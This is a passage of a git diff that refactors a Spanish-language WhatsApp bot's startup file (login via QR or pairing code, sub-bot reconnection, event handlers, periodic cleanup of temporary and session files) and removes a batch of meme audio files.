-${chalk.bold.yellowBright("CONSEJO: COPIE EL NÚMERO DE LA OPCIÓN Y PÉGUELO EN LA CONSOLA.")}`))
-}} while (opcion !== '1' && opcion !== '2' || fs.existsSync(`./${authFile}/creds.json`))
-}
-
-const connectionOptions = {
-logger: pino({ level: 'silent' }),
-printQRInTerminal: opcion == '1' ? true : methodCodeQR ? true : false,
-mobile: MethodMobile,
-browser: opcion == '1' ? ['The-LoliBot-MD', 'Edge', '2.0.0'] : methodCodeQR ? ['The-LoliBot-MD', 'Edge', '2.0.0'] : ['Chrome (Linux)', '', ''],
-auth: {
-creds: state.creds,
-keys: makeCacheableSignalKeyStore(state.keys, Pino({ level: "fatal" }).child({ level: "fatal" })),
-},
-markOnlineOnConnect: true,
-generateHighQualityLinkPreview: true,
-getMessage: async (clave) => {
-let jid = jidNormalizedUser(clave.remoteJid)
-let msg = await store.loadMessage(jid, clave.id)
-return msg?.message || ""
-},
-msgRetryCounterCache,
-msgRetryCounterMap,
-defaultQueryTimeoutMs: undefined,
-version
+//readlineSync.question(chalk.yellow("Elige una opción (1 o 2): "));
+usarCodigo = opcion === "2";
+if (usarCodigo) {
+console.log(chalk.yellow("Ingresa tu número (ej: +521234567890): "));
+numero = readlineSync.question("").replace(/[^0-9]/g, '');
+if (numero.startsWith('52') && !numero.startsWith('521')) {
+numero = '521' + numero.slice(2);
+}}
}
-global.conn = makeWASocket(connectionOptions)
-if (!fs.existsSync(`./${authFile}/creds.json`)) {
-if (opcion === '2' || methodCode) {
-//if (fs.existsSync(`./${authFile}/creds.json`)) {
-//console.log(chalk.bold.redBright(`PRIMERO BORRE EL ARCHIVO ${chalk.bold.greenBright("creds.json")} QUE SE ENCUENTRA EN LA CARPETA ${chalk.bold.greenBright(authFile)} Y REINICIE.`))
-//process.exit()
-//}
-opcion = '2'
-if (!conn.authState.creds.registered) {
-//if (MethodMobile) throw new Error('No se puede usar un código de emparejamiento con la API móvil')
+await cargarSubbots();
-let addNumber
-if (!!phoneNumber) {
-addNumber = phoneNumber.replace(/[^0-9]/g, '')
-if (!Object.keys(PHONENUMBER_MCC).some(v => addNumber.startsWith(v))) {
-console.log(chalk.bgBlack(chalk.bold.redBright(`CONFIGURAR ARCHIVO ${chalk.bold.greenBright("config.js")} SU NÚMERO DE WHATSAPP NO TIENE CÓDIGO DE PAÍS, ${chalk.bold.yellowBright("EJEMPLO: +593090909090")}`)))
-process.exit(0)
+if (hayCredencialesPrincipal || !haySubbotsActivos) {
+try {
+await startBot();
+} catch (err) {
+console.error(chalk.red("❌ Error al iniciar bot principal:"), err);
}} else {
-while (true) {
-addNumber = await question(chalk.bgBlack(chalk.bold.greenBright(`ESCRIBIR EL NÚMERO DE WHATSAPP QUE SERÁ BOT.\n${chalk.bold.yellowBright("CONSEJO: COPIE EL NÚMERO DE WHATSAPP Y PÉGUELO EN LA CONSOLA.")}\n${chalk.bold.yellowBright("EJEMPLO: +593090909090")}\n${chalk.bold.magentaBright('---> ')}`)))
-addNumber = addNumber.replace(/[^0-9]/g, '')
-
-if (addNumber.match(/^\d+$/) && Object.keys(PHONENUMBER_MCC).some(v => addNumber.startsWith(v))) {
-break
-} else {
-console.log(chalk.bold.redBright("Y DE QUE PAIS ES EL NUMERO ANIMAL, (AGREGAR EL CÓDIGO DE PAÍS)."))
-}}}
-
-setTimeout(async () => {
-let codeBot = await conn.requestPairingCode(addNumber)
-codeBot = codeBot?.match(/.{1,4}/g)?.join("-") || codeBot
-console.log(chalk.bold.white(chalk.bgMagenta(`CÓDIGO DE VINCULACIÓN:`)), chalk.bold.white(chalk.white(codeBot)))
-rl.close()
-}, 2000)
-}}}
-
-conn.isInit = false
-conn.well = false
+console.log(chalk.yellow("⚠️ Subbots activos detectados. Bot principal desactivado automáticamente."));
+}}
-if (!opts['test']) {
-if (global.db) setInterval(async () => {
-if (global.db.data) await global.db.write()
-if (opts['autocleartmp'] && (global.support || {}).find) (tmp = [os.tmpdir(), 'tmp', "jadibts"], tmp.forEach(filename => cp.spawn('find', [filename, '-amin', '2', '-type', 'f', '-delete'])))}, 30 * 1000)}
-if (opts['server']) (await import('./server.js')).default(global.conn, PORT)
+async function cargarSubbots() {
+const folder = "./jadibot";
+if (!fs.existsSync(folder)) return;
+const subbotIds = fs.readdirSync(folder);
+//console.log(chalk.bold.yellowBright(`📦 Subbots cargados: ${subbotIds.length}`));
-async function connectionUpdate(update) {
-const {connection, lastDisconnect, isNewLogin} = update
-global.stopped = connection
-if (isNewLogin) conn.isInit = true
-const code = lastDisconnect?.error?.output?.statusCode || lastDisconnect?.error?.output?.payload?.statusCode
-if (code && code !== DisconnectReason.loggedOut && conn?.ws.socket == null) {
-await global.reloadHandler(true).catch(console.error)
-//console.log(await global.reloadHandler(true).catch(console.error));
-global.timestamp.connect = new Date
-}
-if (global.db.data == null) loadDatabase()
-if (update.qr != 0 && update.qr != undefined || methodCodeQR) {
-//opcion = '1'
-if (opcion == '1' || methodCodeQR) {
-console.log(chalk.bold.yellow(lenguajeGB['smsCodigoQR']()))}
-}
-if (connection == 'open') {
-console.log(chalk.bold.greenBright(lenguajeGB['smsConexion']()))}
-let reason = new Boom(lastDisconnect?.error)?.output?.statusCode
-if (reason == 405) {
-await fs.unlinkSync("./BotSession/" + "creds.json")
-return console.log(chalk.bold.redBright("\n[ ❌ ] CONEXION REPLAZADA, POR FAVOR ESPERE UN MOMENTO ME VOY A REINICIAR...\nSI SALE ERROR VUELVE A INICIAR CON: npm start"))
-process.send('reset')}
-if (connection === 'close') {
-if (reason === DisconnectReason.badSession) {
-console.log(chalk.bold.cyanBright(lenguajeGB['smsConexionOFF']()))
-} else if (reason === DisconnectReason.connectionClosed) {
-console.log(chalk.bold.magentaBright(lenguajeGB['smsConexioncerrar']()))
-await global.reloadHandler(true).catch(console.error)
-} else if (reason === DisconnectReason.connectionLost) {
-console.log(chalk.bold.blueBright(lenguajeGB['smsConexionperdida']()))
-await global.reloadHandler(true).catch(console.error)
-} else if (reason === DisconnectReason.connectionReplaced) {
-console.log(chalk.bold.yellowBright(lenguajeGB['smsConexionreem']()))
-} else if (reason === DisconnectReason.loggedOut) {
-console.log(chalk.bold.redBright(lenguajeGB['smsConexionOFF']()))
-await global.reloadHandler(true).catch(console.error)
-} else if (reason === DisconnectReason.restartRequired) {
-console.log(chalk.bold.cyanBright(lenguajeGB['smsConexionreinicio']()))
-await global.reloadHandler(true).catch(console.error)
-} else if (reason === DisconnectReason.timedOut) {
-console.log(chalk.bold.yellowBright(lenguajeGB['smsConexiontiem']()))
-await global.reloadHandler(true).catch(console.error) //process.send('reset')
-} else {
-console.log(chalk.bold.redBright(lenguajeGB['smsConexiondescon'](reason, connection)))
-}}}
-
-process.on('uncaughtException', console.error);
-//process.on('uncaughtException', (err) => {
-//console.error('Se ha cerrado la conexión:\n', err)
-//process.send('reset') })
+for (const userId of subbotIds) {
+const sessionPath = path.join(folder, userId);
+const credsPath = path.join(sessionPath, "creds.json");
+if (!fs.existsSync(credsPath)) continue;
+if (globalThis.conns?.some(conn => conn.userId === userId)) continue;
+if (reconectando.has(userId)) continue;
-let isInit = true;
-let handler = await import('./handler.js');
-global.reloadHandler = async function(restatConn) {
try {
-const Handler = await import(`./handler.js?update=${Date.now()}`).catch(console.error);
-if (Object.keys(Handler || {}).length) handler = Handler;
+reconectando.add(userId);
+await startSubBot(null, null, "Auto reconexión", false, userId, null);
} catch (e) {
-console.error(e)}
-if (restatConn) {
-const oldChats = global.conn.chats;
-try {
-global.conn.ws.close();
-} catch { }
-conn.ev.removeAllListeners();
-global.conn = makeWASocket(connectionOptions, {chats: oldChats});
-isInit = true;
+console.log(chalk.red(`❌ Falló la carga de ${userId}:`, e.message));
+} finally {
+reconectando.delete(userId);
}
-if (!isInit) {
-conn.ev.off('messages.upsert', conn.handler);
-conn.ev.off('group-participants.update', conn.participantsUpdate);
-conn.ev.off('groups.update', conn.groupsUpdate);
-conn.ev.off('message.delete', conn.onDelete);
-conn.ev.off('call', conn.onCall);
-conn.ev.off('connection.update', conn.connectionUpdate);
-conn.ev.off('creds.update', conn.credsUpdate);
+
+await new Promise(res => setTimeout(res, 2500))}
+setTimeout(cargarSubbots, 60 * 1000);
}
-//Información para Grupos
-conn.welcome = lenguajeGB['smsWelcome']() //' ╭────────────\n┆──〘 *𝗕𝗶𝗲𝗻𝘃𝗲𝗻𝗶𝗱𝗼/𝗮* 〙──\n┆──────────\n┆ ✨ *@user* _𝗔𝗹_\n┆ *@subject ✨* \n┆\n┆ *𝗘𝗻 𝗲𝘀𝘁𝗲 𝗴𝗿𝘂𝗽𝗼 𝗽𝗼𝗱𝗿𝗮́𝘀*\n┆ *𝗘𝗻𝗰𝗼𝗻𝘁𝗿𝗮𝗿:*\n┆> *𝗔𝗺𝗶𝘀𝘁𝗮𝗱𝗲𝘀* 👥\n┆> *𝗗𝗲𝘀𝗺𝗮𝗱𝗿𝗲* 💃🕺\n┆> *𝗕𝗮𝗿𝗱𝗼*🤺\n┆> *𝙅𝙤𝙙𝙖 𝙮 𝙢𝙖𝙨* 😛\n┆> *𝗨𝗻 𝗯𝗼𝘁 𝘀𝗲𝘅𝘆*\n┆> *𝗣𝘂𝗲𝗱𝗲 𝘀𝗼𝗹𝗶𝗰𝗶𝘁𝗮𝗿 𝗺𝗶 𝗹𝗶𝘀𝘁𝗮 𝗱𝗲*\n┆> *𝗖𝗼𝗺𝗮𝗻𝗱𝗼 𝗰𝗼𝗻:*\n┆> *#menu*\n┆\n┆> *𝗔𝗾𝘂𝗶́ 𝘁𝗶𝗲𝗻𝗲 𝗹𝗮 𝗱𝗲𝘀𝗰𝗿𝗶𝗽𝗰𝗶𝗼́𝗻* \n┆ *𝗗𝗲𝗹 𝗴𝗿𝘂𝗽𝗼, 𝗹𝗲́𝗲𝗹𝗮!! 🙌*\n┆──────────\n┆ @desc\n┆──────────\n┆ *🔰 𝗗𝗶𝘀𝗳𝗿𝘂𝘁𝗮 𝗱𝗲 𝘁𝘂*\n┆ *𝗘𝘀𝘁𝗮𝗱𝗶́𝗮 𝗲𝗻 𝗲𝗹 𝗚𝗿𝘂𝗽𝗼 🔰* \n┆\n╰─────────────️'
-conn.bye = lenguajeGB['smsBye']() //'.' //no gusta :v
-conn.spromote = lenguajeGB['smsSpromote']() //'*𝙃𝙚𝙮 @user 𝘼𝙝𝙤𝙧𝙖 𝙚𝙧𝙚𝙨 𝙖𝙙𝙢𝙞𝙣, 𝙙𝙚𝙡 𝙜𝙧𝙪𝙥𝙤😛!!*'
-conn.sdemote = lenguajeGB['smsSdemote']() //'*𝙃𝙚𝙮 @user 𝘿𝙀𝙅𝘼𝙔𝙖 𝙣𝙤 𝙚𝙧𝙚𝙨 𝙖𝙙𝙢𝙞𝙣😐!!*'
-conn.sDesc = lenguajeGB['smsSdesc']() //'*𝑺𝒆 𝒉𝒂 𝒎𝒐𝒅𝒊𝒇𝒊𝒄𝒂𝒅𝒐 𝒍𝒂 𝒅𝒆𝒔𝒄𝒓𝒊𝒑𝒄𝒊𝒐𝒏 𝒅𝒆𝒍 𝒈𝒓𝒖𝒑𝒐*\n\n*𝑵𝒖𝒆𝒗𝒐 𝒅𝒆𝒔𝒄𝒓𝒊𝒑𝒄𝒊𝒐𝒏:*\n@desc'
-conn.sSubject = lenguajeGB['smsSsubject']() //'*𝑺𝒆 𝒉𝒂 𝒎𝒐𝒅𝒊𝒇𝒊𝒄𝒂𝒅𝒐 𝒆𝒍 𝒏𝒐𝒎𝒃𝒓𝒆 𝒅𝒆𝒍 𝒈𝒓𝒖𝒑𝒐*\n*𝑵𝒖𝒆𝒗𝒐 𝒏𝒐𝒎𝒃𝒓𝒆:*\n@subject'
-conn.sIcon = lenguajeGB['smsSicon']() //'*𝑺𝒆 𝒉𝒂 𝒄𝒂𝒎𝒃𝒊𝒂𝒅𝒐 𝒍𝒂 𝒇𝒐𝒕𝒐 𝒅𝒆𝒍 𝒈𝒓𝒖𝒑𝒐!!'
-conn.sRevoke = lenguajeGB['smsSrevoke']() //'*𝑺𝒆 𝒉𝒂 𝒂𝒄𝒕𝒖𝒂𝒍𝒊𝒛𝒂𝒅𝒐 𝒆𝒍 𝒍𝒊𝒏𝒌 𝒅𝒆𝒍 𝒈𝒓𝒖𝒑𝒐!!*\n*𝑳𝒊𝒏𝒌 𝒏𝒖𝒆𝒗𝒐!!*\n\n*@revoke*'
+async function startBot() {
+const { state, saveCreds } = await baileys.useMultiFileAuthState(BOT_SESSION_FOLDER);
+const msgRetryCounterMap = new Map();
+const msgRetryCounterCache = new NodeCache({ stdTTL: 0, checkperiod: 0 });
+const userDevicesCache = new NodeCache({ stdTTL: 0, checkperiod: 0 });
+const groupCache = new NodeCache({ stdTTL: 3600, checkperiod: 300 });
+const { version } = await baileys.fetchLatestBaileysVersion();
+
+console.info = () => {};
+console.debug = () => {};
+const sock = baileys.makeWASocket({
+printQRInTerminal: !usarCodigo && !fs.existsSync(BOT_CREDS_PATH),
+logger: pino({ level: 'silent' }),
+browser: ['Windows', 'Chrome'],
+auth: { creds: state.creds,
+keys: baileys.makeCacheableSignalKeyStore(state.keys, pino({ level: 'silent' }))
+},
+markOnlineOnConnect: false,
+generateHighQualityLinkPreview: true,
+syncFullHistory: false,
+getMessage: async () => {
+return "";
+},
+msgRetryCounterCache: msgRetryCounterCache || new Map(),
+userDevicesCache: userDevicesCache || new Map(),
+//msgRetryCounterMap,
+defaultQueryTimeoutMs: undefined,
+cachedGroupMetadata: async (jid) => groupCache.get(jid),
+version: version,
+defaultQueryTimeoutMs: 30_000,
+keepAliveIntervalMs: 55000,
+maxIdleTimeMs: 60000,
+});
-conn.handler = handler.handler.bind(global.conn);
-conn.participantsUpdate = handler.participantsUpdate.bind(global.conn);
-conn.groupsUpdate = handler.groupsUpdate.bind(global.conn);
-conn.onDelete = handler.deleteUpdate.bind(global.conn);
-conn.onCall = handler.callUpdate.bind(global.conn);
-conn.connectionUpdate = connectionUpdate.bind(global.conn);
-conn.credsUpdate = saveCreds.bind(global.conn, true);
+globalThis.conn = sock;
+setupGroupEvents(sock);
+sock.ev.on("creds.update", saveCreds);
-conn.ev.on('messages.upsert', conn.handler);
-conn.ev.on('group-participants.update', conn.participantsUpdate);
-conn.ev.on('groups.update', conn.groupsUpdate);
-conn.ev.on('message.delete', conn.onDelete);
-conn.ev.on('call', conn.onCall);
-conn.ev.on('connection.update', conn.connectionUpdate);
-conn.ev.on('creds.update', conn.credsUpdate);
-isInit = false
-return true
+sock.ev.on("connection.update", async ({ connection, lastDisconnect }) => {
+const code = lastDisconnect?.error?.output?.statusCode || 0;
+
+if (connection === "open") {
+console.log(chalk.bold.greenBright('\n▣─────────────────────────────···\n│\n│❧ 𝙲𝙾𝙽𝙴𝙲𝚃𝙰𝙳𝙾 𝙲𝙾𝚁𝚁𝙴𝙲𝚃𝙰𝙼𝙴𝙽𝚃𝙴 𝙰𝙻 𝚆𝙷𝙰𝚃𝚂𝙰𝙿𝙿 ✅\n│\n▣─────────────────────────────···'))
}
-const pluginFolder = global.__dirname(join(__dirname, './plugins/index'));
-const pluginFilter = (filename) => /\.js$/.test(filename);
-global.plugins = {};
-async function filesInit() {
-for (const filename of readdirSync(pluginFolder).filter(pluginFilter)) {
-try {
-const file = global.__filename(join(pluginFolder, filename));
-const module = await import(file);
-global.plugins[filename] = module.default || module;
-} catch (e) {
-conn.logger.error(e);
-delete global.plugins[filename];
-}}}
-filesInit().then((_) => Object.keys(global.plugins)).catch(console.error)
+if (connection === "close") {
+if ([401, 440, 428, 405].includes(code)) {
+console.log(chalk.red(`❌ Error de sesión (${code}) inválida. Borra la carpeta "BotSession" y vuelve a conectar.`));
+}
+console.log(chalk.yellow("♻️ Conexión cerrada. Reintentando en 3s..."));
+setTimeout(() => startBot(), 3000);
+}});
-global.reload = async (_ev, filename) => {
-if (pluginFilter(filename)) {
-const dir = global.__filename(join(pluginFolder, filename), true)
-if (filename in global.plugins) {
-if (existsSync(dir)) conn.logger.info(` SE ACTULIZADO - '${filename}' CON ÉXITO`)
-else {
-conn.logger.warn(`SE ELIMINO UN ARCHIVO : '${filename}'`)
-return delete global.plugins[filename];
+process.on('uncaughtException', console.error);
+process.on('unhandledRejection', console.error);
+
+if (usarCodigo && !state.creds.registered) {
+setTimeout(async () => {
+try {
+const code = await sock.requestPairingCode(numero);
+console.log(chalk.yellow('Código de emparejamiento:'), chalk.greenBright(code));
+} catch {}
+}, 2000);
}
-} else conn.logger.info(`SE DETECTO UN NUEVO PLUGINS : '${filename}'`)
-const err = syntaxerror(readFileSync(dir), filename, {
-sourceType: 'module',
-allowAwaitOutsideFunction: true,
-});
-if (err) conn.logger.error(`SE DETECTO UN ERROR DE SINTAXIS | SYNTAX ERROR WHILE LOADING '${filename}'\n${format(err)}`);
-else {
+
+sock.ev.on("messages.upsert", async ({ messages, type }) => {
+if (type !== "notify") return;
+for (const msg of messages) {
+if (!msg.message) continue;
+if (msg.messageTimestamp && (Date.now()/1000 - msg.messageTimestamp > 120)) continue;
+if(msg.key.id.startsWith('NJX-') || msg.key.id.startsWith('Lyru-') || msg.key.id.startsWith('EvoGlobalBot-') || msg.key.id.startsWith('BAE5') && msg.key.id.length === 16 || msg.key.id.startsWith('3EB0') && msg.key.id.length === 12 || msg.key.id.startsWith('3EB0') || msg.key.id.startsWith('3E83') || msg.key.id.startsWith('3E38') && (msg.key.id.length === 20 || msg.key.id.length === 22) || msg.key.id.startsWith('B24E') || msg.key.id.startsWith('8SCO') && msg.key.id.length === 20 || msg.key.id.startsWith('FizzxyTheGreat-')) return
try {
-const module = (await import(`${global.__filename(dir)}?update=${Date.now()}`));
-global.plugins[filename] = module.default || module;
-} catch (e) {
-conn.logger.error(`HAY UN ERROR REQUIERE EL PLUGINS '${filename}\n${format(e)}'`);
-} finally {
-global.plugins = Object.fromEntries(Object.entries(global.plugins).sort(([a], [b]) => a.localeCompare(b)));
-}}}};
-Object.freeze(global.reload);
-watch(pluginFolder, global.reload);
-await global.reloadHandler();
-async function _quickTest() {
-const test = await Promise.all([
-spawn('ffmpeg'),
-spawn('ffprobe'),
-spawn('ffmpeg', ['-hide_banner', '-loglevel', 'error', '-filter_complex', 'color', '-frames:v', '1', '-f', 'webp', '-']),
-spawn('convert'),
-spawn('magick'),
-spawn('gm'),
-spawn('find', ['--version']),
-].map((p) => {
-return Promise.race([
-new Promise((resolve) => {
-p.on('close', (code) => {
-resolve(code !== 127);
+//const { handler } = await import("./handler.js");
+await handler(sock, msg);
+} catch (err) {
+console.error(err);
+}}
});
-}),
-new Promise((resolve) => {
-p.on('error', (_) => resolve(false));
-})]);
-}));
-const [ffmpeg, ffprobe, ffmpegWebp, convert, magick, gm, find] = test;
-const s = global.support = {ffmpeg, ffprobe, ffmpegWebp, convert, magick, gm, find};
-Object.freeze(global.support);
+
+sock.ev.on("call", async (calls) => {
+try {
+//const { callUpdate } = await import("./handler.js");
+for (const call of calls) {
+await callUpdate(sock, call);
+}} catch (err) {
+console.error(chalk.red("❌ Error procesando call.update:"), err);
}
-
-function clearTmp() {
-const tmpDir = join(__dirname, 'tmp')
-const filenames = readdirSync(tmpDir)
-filenames.forEach(file => {
-const filePath = join(tmpDir, file)
-unlinkSync(filePath)})
+});
+
+//tmp
+setInterval(() => {
+const tmp = './tmp';
+try {
+if (!fs.existsSync(tmp)) return;
+const files = fs.readdirSync(tmp);
+files.forEach(file => {
+if (file.endsWith('.file')) return;
+const filePath = path.join(tmp, file);
+const stats = fs.statSync(filePath);
+const now = Date.now();
+const modifiedTime = new Date(stats.mtime).getTime();
+const age = now - modifiedTime;
+if (age > 3 * 60 * 1000) {
+fs.unlinkSync(filePath);
}
-
-function purgeSession() {
-let prekey = []
-let directorio = readdirSync("./BotSession")
-let filesFolderPreKeys = directorio.filter(file => {
-return file.startsWith('pre-key-') /*|| file.startsWith('session-') || file.startsWith('sender-') || file.startsWith('app-')*/
-})
-prekey = [...prekey, ...filesFolderPreKeys]
-filesFolderPreKeys.forEach(files => {
-unlinkSync(`./BotSession/${files}`)
})
-}
+//console.log(chalk.gray(`┏━━━━━━⪻♻️ AUTO-CLEAR 🗑️⪼━━━━━━•\n┃→ ARCHIVOS DE LA CARPETA TMP ELIMINADOS\n┗━━━━━━━━━━━━━━━━━━━━━━━━━━━•`));
+} catch (err) {
+console.error('Error cleaning temporary files:', err);
+}}, 30 * 1000);
+
+setInterval(() => {
+console.log('♻️ Reiniciando bot automáticamente...');
+process.exit(0);
+}, 10800000) //3hs
+//3600000
+
+//tmp session basura
+setInterval(() => {
+ const now = Date.now();
+ const carpetas = ['./jadibot', './BotSession'];
+ for (const basePath of carpetas) {
+ if (!fs.existsSync(basePath)) continue;
+
+ const subfolders = fs.readdirSync(basePath);
+ for (const folder of subfolders) {
+ const sessionPath = path.join(basePath, folder);
+ if (!fs.statSync(sessionPath).isDirectory()) continue;
+ const isActive = globalThis.conns?.some(c => c.userId === folder || c.user?.id?.includes(folder));
+ const files = fs.readdirSync(sessionPath);
+
+ // 🔧 limitar cantidad de pre-keys
+ const prekeys = files.filter(f => f.startsWith("pre-key"));
+ if (prekeys.length > 500) {
+ prekeys
+ .sort((a, b) => fs.statSync(path.join(sessionPath, a)).mtimeMs - fs.statSync(path.join(sessionPath, b)).mtimeMs)
+ .slice(0, prekeys.length - 300)
+ .forEach(pk => {
+ fs.unlinkSync(path.join(sessionPath, pk));
+ });
+ }
+
+ for (const file of files) {
+ const fullPath = path.join(sessionPath, file);
+ if (!fs.existsSync(fullPath)) continue;
+ if (file === 'creds.json') continue;
+ try {
+ const stats = fs.statSync(fullPath);
+ const ageMs = now - stats.mtimeMs;
+
+ if (file.startsWith('pre-key') && ageMs > 24 * 60 * 60 * 1000 && !isActive) {
+ fs.unlinkSync(fullPath);
+ } else if (ageMs > 30 * 60 * 1000 && !isActive) {
+ fs.unlinkSync(fullPath);
+ }
+ } catch (err) {
+ console.error(chalk.red(`[⚠] Error al limpiar archivo ${file}:`), err);
+ }
+ }
+ }
+ }
+ console.log(chalk.bold.cyanBright(`\n╭» 🟠 ARCHIVOS 🟠\n│→ Sesiones y pre-keys viejas limpiadas\n╰―――――――――――――――――――――――――――――― 🗑️♻️`));
+}, 10 * 60 * 1000); // cada 10 minutos
+
+function setupGroupEvents(sock) {
+sock.ev.on("group-participants.update", async (update) => {
+console.log(update)
+try {
+await participantsUpdate(sock, update);
+} catch (err) {
+console.error(chalk.red("❌ Error procesando group-participants.update:"), err);
+}});
-function purgeSessionSB() {
+sock.ev.on("groups.update", async (updates) => {
+console.log(updates)
try {
-const listaDirectorios = readdirSync('./jadibts/');
-let SBprekey = [];
-listaDirectorios.forEach(directorio => {
-if (statSync(`./jadibts/${directorio}`).isDirectory()) {
-const DSBPreKeys = readdirSync(`./jadibts/${directorio}`).filter(fileInDir => {
-return fileInDir.startsWith('pre-key-') /*|| fileInDir.startsWith('app-') || fileInDir.startsWith('session-')*/
-})
-SBprekey = [...SBprekey, ...DSBPreKeys];
-DSBPreKeys.forEach(fileInDir => {
-if (fileInDir !== 'creds.json') {
-unlinkSync(`./jadibts/${directorio}/${fileInDir}`)
-}})
-}})
-if (SBprekey.length === 0) {
-console.log(chalk.bold.green(lenguajeGB.smspurgeSessionSB1()))
-} else {
-console.log(chalk.bold.cyanBright(lenguajeGB.smspurgeSessionSB2()))
+for (const update of updates) {
+await groupsUpdate(sock, update);
}} catch (err) {
-console.log(chalk.bold.red(lenguajeGB.smspurgeSessionSB3() + err))
-}}
-
-function purgeOldFiles() {
-const directories = ['./BotSession/', './jadibts/']
-directories.forEach(dir => {
-readdirSync(dir, (err, files) => {
-if (err) throw err
-files.forEach(file => {
-if (file !== 'creds.json') {
-const filePath = path.join(dir, file);
-unlinkSync(filePath, err => {
-if (err) {
-console.log(chalk.bold.red(`${lenguajeGB.smspurgeOldFiles3()} ${file} ${lenguajeGB.smspurgeOldFiles4()}` + err))
-} else {
-console.log(chalk.bold.green(`${lenguajeGB.smspurgeOldFiles1()} ${file} ${lenguajeGB.smspurgeOldFiles2()}`))
-} }) }
-}) }) }) }
-
-setInterval(async () => {
-await clearTmp()
-console.log(chalk.bold.cyanBright(lenguajeGB.smsClearTmp()))}, 1000 * 60 * 4) // 4 min
-
-setInterval(async () => {
-await purgeSession()
-console.log(chalk.bold.cyanBright(lenguajeGB.smspurgeSession()))}, 1000 * 60 * 10) // 10 min
-
-setInterval(async () => {
-await purgeSessionSB()}, 1000 * 60 * 10)
-
-setInterval(async () => {
-await purgeOldFiles()
-console.log(chalk.bold.cyanBright(lenguajeGB.smspurgeOldFiles()))}, 1000 * 60 * 10)
-
-_quickTest().then(() => conn.logger.info(chalk.bold(lenguajeGB['smsCargando']().trim()))).catch(console.error)
+console.error(chalk.red("❌ Error procesando groups.update:"), err);
+}});
+}
+}
-let file = fileURLToPath(import.meta.url)
-watchFile(file, () => {
-unwatchFile(file)
-console.log(chalk.bold.greenBright(lenguajeGB['smsMainBot']().trim()))
-import(`${file}?update=${Date.now()}`)
-})
diff --git a/media/A bueno adios master.mp3 b/media/A bueno adios master.mp3
deleted file mode 100644
index 32c92ec39..000000000
Binary files a/media/A bueno adios master.mp3 and /dev/null differ
diff --git a/media/Banate.mp3 b/media/Banate.mp3
deleted file mode 100644
index e0de26508..000000000
Binary files a/media/Banate.mp3 and /dev/null differ
diff --git a/media/Bienvenido.mp3 b/media/Bienvenido.mp3
deleted file mode 100644
index c5896f04f..000000000
Binary files a/media/Bienvenido.mp3 and /dev/null differ
diff --git a/media/Blackpink in your area.mp3 b/media/Blackpink in your area.mp3
deleted file mode 100644
index f1168a3a9..000000000
Binary files a/media/Blackpink in your area.mp3 and /dev/null differ
diff --git "a/media/Buen d\303\255a grupo.mp3" "b/media/Buen d\303\255a grupo.mp3"
deleted file mode 100644
index fdc8bfaa8..000000000
Binary files "a/media/Buen d\303\255a grupo.mp3" and /dev/null differ
diff --git a/media/Buenas noches.mp3 b/media/Buenas noches.mp3
deleted file mode 100644
index b5d69ab7e..000000000
Binary files a/media/Buenas noches.mp3 and /dev/null differ
diff --git a/media/Buenos-dias-2.mp3 b/media/Buenos-dias-2.mp3
deleted file mode 100644
index 8598bb554..000000000
Binary files a/media/Buenos-dias-2.mp3 and /dev/null differ
diff --git a/media/Calla Fan de BTS.mp3 b/media/Calla Fan de BTS.mp3
deleted file mode 100644
index d558e5b03..000000000
Binary files a/media/Calla Fan de BTS.mp3 and /dev/null differ
diff --git a/media/Cambiate a Movistar.mp3 b/media/Cambiate a Movistar.mp3
deleted file mode 100644
index 114920cbe..000000000
Binary files a/media/Cambiate a Movistar.mp3 and /dev/null differ
diff --git a/media/Corte Corte.mp3 b/media/Corte Corte.mp3
deleted file mode 100644
index 9351d4777..000000000
Binary files a/media/Corte Corte.mp3 and /dev/null differ
diff --git a/media/DiagnosticadoConGay.mp3 b/media/DiagnosticadoConGay.mp3
deleted file mode 100644
index cf31428b4..000000000
Binary files a/media/DiagnosticadoConGay.mp3 and /dev/null differ
diff --git a/media/El Toxico.mp3 b/media/El Toxico.mp3
deleted file mode 100644
index c0e2d036e..000000000
Binary files a/media/El Toxico.mp3 and /dev/null differ
diff --git a/media/Elmo sabe donde vives.mp3 b/media/Elmo sabe donde vives.mp3
deleted file mode 100644
index 1e053ada8..000000000
Binary files a/media/Elmo sabe donde vives.mp3 and /dev/null differ
diff --git a/media/Elmo.mp3 b/media/Elmo.mp3
deleted file mode 100644
index 84f936b95..000000000
Binary files a/media/Elmo.mp3 and /dev/null differ
diff --git "a/media/En caso de una investigaci\303\263n.mp3" "b/media/En caso de una investigaci\303\263n.mp3"
deleted file mode 100644
index 9b4d1be39..000000000
Binary files "a/media/En caso de una investigaci\303\263n.mp3" and /dev/null differ
diff --git a/media/Eres Fuerte.mp3 b/media/Eres Fuerte.mp3
deleted file mode 100644
index 2abd7bd1c..000000000
Binary files a/media/Eres Fuerte.mp3 and /dev/null differ
diff --git a/media/Es putoo.mp3 b/media/Es putoo.mp3
deleted file mode 100644
index ed4ab6823..000000000
Binary files a/media/Es putoo.mp3 and /dev/null differ
diff --git a/media/Esta Zzzz.mp3 b/media/Esta Zzzz.mp3
deleted file mode 100644
index c4f265831..000000000
Binary files a/media/Esta Zzzz.mp3 and /dev/null differ
diff --git a/media/Feliz cumple.mp3 b/media/Feliz cumple.mp3
deleted file mode 100644
index 598b9c790..000000000
Binary files a/media/Feliz cumple.mp3 and /dev/null differ
diff --git a/media/Fiesta1.mp3 b/media/Fiesta1.mp3
deleted file mode 100644
index d2c948006..000000000
Binary files a/media/Fiesta1.mp3 and /dev/null differ
diff --git a/media/Hola.mp3 b/media/Hola.mp3
deleted file mode 100644
index 8a8bfbfba..000000000
Binary files a/media/Hola.mp3 and /dev/null differ
diff --git a/media/Homero chino.mp3 b/media/Homero chino.mp3
deleted file mode 100644
index 850f55a65..000000000
Binary files a/media/Homero chino.mp3 and /dev/null differ
diff --git a/media/Las reglas del grupo.mp3 b/media/Las reglas del grupo.mp3
deleted file mode 100644
index ad62dcc1e..000000000
Binary files a/media/Las reglas del grupo.mp3 and /dev/null differ
diff --git a/media/Me anda buscando anonymous.mp3 b/media/Me anda buscando anonymous.mp3
deleted file mode 100644
index cf3ce19cc..000000000
Binary files a/media/Me anda buscando anonymous.mp3 and /dev/null differ
diff --git a/media/Menu1.jpg b/media/Menu1.jpg
new file mode 100644
index 000000000..42c96866f
Binary files /dev/null and b/media/Menu1.jpg differ
diff --git a/media/Menu2.jpg b/media/Menu2.jpg
new file mode 100644
index 000000000..051c383d4
Binary files /dev/null and b/media/Menu2.jpg differ
diff --git a/media/Menu3.jpg b/media/Menu3.jpg
new file mode 100644
index 000000000..c01d9d8ac
